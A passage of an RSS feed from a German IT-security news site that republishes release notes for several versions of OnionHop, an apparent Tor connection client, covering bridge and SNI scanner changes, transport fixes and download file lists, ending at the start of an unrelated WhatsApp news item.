<li><strong>Custom bridge source ignored under Smart Connect</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4793735074" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/70" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/70/hovercard" href="https://github.com/center2055/OnionHop/issues/70">#70</a>). Smart Connect (on by default) reset the source to Auto and dropped your custom bridge list while racing its own transports, so a pasted obfs4 bridge could end up connecting via a webtunnel bridge you never added. Smart Connect now honors an explicit Custom source and uses exactly those bridges.</li>
</ul>
<p>Thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Airuop/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Airuop">@Airuop</a> for the scanner and bridge-tab suggestions.</p>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.6-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.6.exe</code> / <code>OnionHopCLI-Portable-3.6-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.6-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.6-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.6-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.6-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.6-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>
<blockquote>
<p>Not sure which Mac you have? Apple menu &gt; About This Mac. "Apple M1/M2/M3/M4" means Apple Silicon (arm64); anything listing an Intel processor needs the x64 build.</p>
</blockquote>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.6.1]]></title>
<description><![CDATA[A patch for v3.6. The SNI scanner shipped broken and is fixed here; please update if you use it.
Fixed

SNI scanner never found a working host. Every probe failed with an internal .NET SslStream error (the certificate-validation callback was set in two places at once), so results always came back...]]></description>
<link>https://tsecurity.de/de/3687278/it-security-tools/onionhop-361/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687278/it-security-tools/onionhop-361/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:19 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A patch for v3.6. The SNI scanner shipped broken and is fixed here; please update if you use it.</p>
<h3>Fixed</h3>
<ul>
<li><strong>SNI scanner never found a working host.</strong> Every probe failed with an internal .NET SslStream error (the certificate-validation callback was set in two places at once), so results always came back "blocked" and the scanner looked like it did nothing. It now completes TLS handshakes and reports reachable SNI hosts correctly.</li>
<li><strong>SNI scanner status messages are now localized</strong> ("Ready.", "Scanning…", "Enter at least one domain to test.", etc.) instead of always showing in English.</li>
</ul>
<h3>Added</h3>
<ul>
<li>The saved-bridges library now shows a <strong>Ping</strong> column - the latency measured when each entry was saved.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.6.1-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.6.1.exe</code> / <code>OnionHopCLI-Portable-3.6.1-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.6.1-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.6.1-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.6.1-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.6.1-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.6.1-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.6.2]]></title>
<description><![CDATA[Scanner improvements from testing feedback.
Added

Bridge scanner: "Load bridges" — fetches the selected category/transport list into the input without scanning, so you can review or edit the list first, then scan (a two-step flow like BridgeHop's).
"Import file" on both the bridge scanner and th...]]></description>
<link>https://tsecurity.de/de/3687277/it-security-tools/onionhop-362/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687277/it-security-tools/onionhop-362/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:17 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Scanner improvements from testing feedback.</p>
<h3>Added</h3>
<ul>
<li><strong>Bridge scanner: "Load bridges"</strong> — fetches the selected category/transport list into the input without scanning, so you can review or edit the list first, then scan (a two-step flow like BridgeHop's).</li>
<li><strong>"Import file"</strong> on both the bridge scanner and the SNI scanner — load bridge lines / candidate domains from a <code>.txt</code>/<code>.csv</code> file.</li>
<li><strong>Saved-bridges library: ping badge</strong> — each saved entry's latency now shows as a green (or amber, when slow) "✔ ms" badge instead of a plain number.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.6.2-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.6.2.exe</code> / <code>OnionHopCLI-Portable-3.6.2-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.6.2-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.6.2-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.6.2-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.6.2-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.6.2-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.6.3]]></title>
<description><![CDATA[Adds an easier way to use the SNI scanner, and restores the full macOS build.
Added

SNI scanner: "Load candidates" - one click fills the box with a built-in starter list of common CDN/front domains (Cloudflare, Fastly, Google, Microsoft, Apple, jsDelivr, Wikipedia, and more), so you have somethi...]]></description>
<link>https://tsecurity.de/de/3687276/it-security-tools/onionhop-363/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687276/it-security-tools/onionhop-363/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:15 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Adds an easier way to use the SNI scanner, and restores the full macOS build.</p>
<h3>Added</h3>
<ul>
<li><strong>SNI scanner: "Load candidates"</strong> - one click fills the box with a built-in starter list of common CDN/front domains (Cloudflare, Fastly, Google, Microsoft, Apple, jsDelivr, Wikipedia, and more), so you have something to scan without needing to know which domains to try. Then press Start Scan; the green rows are the SNI hosts that work on your network. You can still edit the list, import your own, or paste more.</li>
</ul>
<h3>Note</h3>
<p>macOS builds are back - v3.6.2's Mac assets were held up by a pending Apple developer agreement, now resolved. This release ships the complete set for all platforms.</p>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.6.3-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.6.3.exe</code> / <code>OnionHopCLI-Portable-3.6.3-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.6.3-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.6.3-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.6.3-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.6.3-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.6.3-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7]]></title>
<description><![CDATA[Fixes Snowflake on heavily-censored networks, and makes the SNI scanner easier to use with per-country lists.
Fixed

Snowflake starting again on censored networks (#71). Snowflake was failing to start with "Managed proxy ... terminated with status code 2" and the connection bar stuck, whenever th...]]></description>
<link>https://tsecurity.de/de/3687275/it-security-tools/onionhop-37/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687275/it-security-tools/onionhop-37/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:14 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Fixes Snowflake on heavily-censored networks, and makes the SNI scanner easier to use with per-country lists.</p>
<h3>Fixed</h3>
<ul>
<li><strong>Snowflake starting again on censored networks (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840691314" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/71" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/71/hovercard" href="https://github.com/center2055/OnionHop/issues/71">#71</a>).</strong> Snowflake was failing to start with "Managed proxy ... terminated with status code 2" and the connection bar stuck, whenever the AMP-cache rendezvous was enabled. The AMP cache was being passed as a <code>-ampcache</code> command-line flag, which the bundled Snowflake binary (lyrebird) rejects, so it exited immediately. It is now set as an <code>ampcache=</code> parameter on the Snowflake bridge line, which lyrebird reads. This mainly affected networks where Smart Connect forces Snowflake AMP (for example Iran).</li>
</ul>
<h3>Added</h3>
<ul>
<li><strong>SNI scanner compact layout.</strong> The SNI scanner now matches the bridge scanner: a "Custom list" toggle keeps the candidate-domain box collapsed until you turn it on or load, import, or request a list, so the controls take less room.</li>
<li><strong>Request SNI (per-country lists).</strong> Working SNI hosts are country-specific, so the SNI scanner gained a "Request SNI" button that fetches a candidate list for your country from the OnionHop SNI-lists source and loads it for scanning. A country picker appears when the source is reachable.</li>
<li><strong>Export Working.</strong> The SNI scanner can now save the working SNI hosts to a text file.</li>
<li><strong>About page release links.</strong> Each release in the changelog history now has a "View on GitHub" link that opens that release's page, and the sources section lists the new OnionHop SNI Lists source.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.exe</code> / <code>OnionHopCLI-Portable-3.7-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.1]]></title>
<description><![CDATA[Adds a Copy button to saved bridges and SNI hosts, so you can rescan them without applying first.
Added

Copy button in the saved library. Each entry in Scanner > Saved now has a "Copy" button next to Apply and Delete. It copies just that bridge line or SNI host to the clipboard, so you can paste...]]></description>
<link>https://tsecurity.de/de/3687274/it-security-tools/onionhop-371/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687274/it-security-tools/onionhop-371/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:12 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Adds a Copy button to saved bridges and SNI hosts, so you can rescan them without applying first.</p>
<h3>Added</h3>
<ul>
<li><strong>Copy button in the saved library.</strong> Each entry in Scanner &gt; Saved now has a "Copy" button next to Apply and Delete. It copies just that bridge line or SNI host to the clipboard, so you can paste it into the bridge scanner or SNI scanner and rescan it directly. Previously you had to Apply an entry and copy it from another tab before you could rescan it.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.1-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.1.exe</code> / <code>OnionHopCLI-Portable-3.7.1-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.1-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.1-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.1-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.1-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.1-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.2]]></title>
<description><![CDATA[Makes bridge-transport failures diagnosable and stops the scanner trusting dead webtunnel bridges.
Fixed

Bridge scanner verifies webtunnel for real. The scanner now confirms a webtunnel bridge with an actual handshake (a WebSocket upgrade to the bridge's own endpoint, which must return 101) inst...]]></description>
<link>https://tsecurity.de/de/3687273/it-security-tools/onionhop-372/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687273/it-security-tools/onionhop-372/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:10 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Makes bridge-transport failures diagnosable and stops the scanner trusting dead webtunnel bridges.</p>
<h3>Fixed</h3>
<ul>
<li><strong>Bridge scanner verifies webtunnel for real.</strong> The scanner now confirms a webtunnel bridge with an actual handshake (a WebSocket upgrade to the bridge's own endpoint, which must return 101) instead of only checking that its CDN front answered on 443. A dead webtunnel bridge whose front is still up is now correctly shown as unreachable, so a scanned webtunnel list no longer marks bridges as working when Tor cannot connect through them (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>).</li>
<li><strong>Transport start failures now say why.</strong> When a pluggable transport could not run, Tor only reported an opaque "Managed proxy ... terminated with status code 2", which hid the real cause (this is what made obfs4 and snowflake "connect then immediately fail" for some users). The app now preflights each transport binary and logs the actual reason, a crash, a wrong-architecture binary, a missing execute bit, and so on, so the problem is diagnosable instead of opaque (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>).</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.2-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.2.exe</code> / <code>OnionHopCLI-Portable-3.7.2-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.2-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.2-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.2-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.2-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.2-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.3]]></title>
<description><![CDATA[A small diagnostics release: when bridges are reachable but the transport still can't connect, the log now points at the likely cause.
Fixed

Clearer log when the transport can't reach reachable bridges. If a bridged connect fails after the reachability scan found bridges reachable but the transp...]]></description>
<link>https://tsecurity.de/de/3687272/it-security-tools/onionhop-373/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687272/it-security-tools/onionhop-373/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:09 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A small diagnostics release: when bridges are reachable but the transport still can't connect, the log now points at the likely cause.</p>
<h3>Fixed</h3>
<ul>
<li><strong>Clearer log when the transport can't reach reachable bridges.</strong> If a bridged connect fails after the reachability scan found bridges reachable but the transport could not connect to any of them, the log now names the likely cause: a firewall or security tool blocking OnionHop's transport helper (lyrebird / webtunnel-client), or bridges that are dead at the protocol layer. Previously this appeared only as an unexplained wall of "general SOCKS server failure" (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>).</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.3-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.3.exe</code> / <code>OnionHopCLI-Portable-3.7.3-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.3-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.3-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.3-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.3-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.3-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.4]]></title>
<description><![CDATA[Fixes bridges being silently blocked by per-app firewalls like Little Snitch on macOS.
Fixed

Transport helpers now run from a stable path, so firewalls can allow them (#74). On macOS and Linux, the bridge transport helpers (lyrebird / webtunnel-client) ran from the system temp directory. Per-app...]]></description>
<link>https://tsecurity.de/de/3687271/it-security-tools/onionhop-374/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687271/it-security-tools/onionhop-374/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:08 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Fixes bridges being silently blocked by per-app firewalls like Little Snitch on macOS.</p>
<h3>Fixed</h3>
<ul>
<li><strong>Transport helpers now run from a stable path, so firewalls can allow them (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>).</strong> On macOS and Linux, the bridge transport helpers (lyrebird / webtunnel-client) ran from the system temp directory. Per-app firewalls like Little Snitch identify a process by its executable path, so a helper in a periodically-purged temp folder never got a durable allow rule and could be silently denied without ever prompting - every bridge then failed with "general SOCKS server failure" even with an "allow all" rule for OnionHop itself. The helpers now run from a stable per-user location (<code>~/Library/Caches/onionhop-pt</code> on macOS, <code>~/.cache/onionhop-pt</code> on Linux), so the firewall can prompt once and remember the answer, the same way it does for Tor Browser's bundled lyrebird. The stale-transport cleanup at connect time now also covers helpers running from that directory.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.4-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.4.exe</code> / <code>OnionHopCLI-Portable-3.7.4-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.4-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.4-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.4-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.4-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.4-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.5]]></title>
<description><![CDATA[Quieter, faster obfs4 connects, and fixes browsing in TUN/VPN mode when a stale proxy was left behind.
Fixed

obfs4 bridges are now verified with a real handshake before connecting. The pre-connect scan used to only TCP-test obfs4, so bridges that were dead or blocked at the obfs4 layer still got...]]></description>
<link>https://tsecurity.de/de/3687270/it-security-tools/onionhop-375/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687270/it-security-tools/onionhop-375/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:06 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Quieter, faster obfs4 connects, and fixes browsing in TUN/VPN mode when a stale proxy was left behind.</p>
<h3>Fixed</h3>
<ul>
<li><strong>obfs4 bridges are now verified with a real handshake before connecting.</strong> The pre-connect scan used to only TCP-test obfs4, so bridges that were dead or blocked at the obfs4 layer still got handed to Tor, producing a wall of "general SOCKS server failure" warnings and a long pause before it connected. The app now drives the bundled obfs4 client to complete the actual handshake and drops the ones that fail, so connecting is faster and the log is far quieter (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>). If the check cannot run or nearly everything fails (for example the whole set is blocked from your network), it safely falls back to the previous behavior.</li>
<li><strong>Fixed "connected but no websites load" in TUN/VPN mode on Windows</strong> (browser showed ERR_PROXY_CONNECTION_FAILED). If an earlier session had crashed or been force-closed while the system proxy was applied, Windows kept that proxy enabled, pointing browsers at a port from that dead session; TUN mode never corrected it. The app now clears a leftover proxy that matches its own format at connect time, and in TUN mode it logs a clear note if some other system proxy is enabled. Third-party proxy settings are never touched.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.5-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.5.exe</code> / <code>OnionHopCLI-Portable-3.7.5-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.5-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.5-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.5-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.5-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.5-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[WhatsApp Adds Apple Music Sharing, iPad Signups, and New CarPlay Features]]></title>
<description><![CDATA[WhatsApp has announced several new features for iPhone, iPad, CarPlay, Android Auto, desktop, and web users, with the latest update focusing on music sharing, easier account setup, PDF tools, and improved in-car controls. The company says these WhatsApp new features are rolling out now across sup...]]></description>
<link>https://tsecurity.de/de/3687260/ios-mac-os/whatsapp-adds-apple-music-sharing-ipad-signups-and-new-carplay-features/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687260/ios-mac-os/whatsapp-adds-apple-music-sharing-ipad-signups-and-new-carplay-features/</guid>
<pubDate>Wed, 22 Jul 2026 20:26:28 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
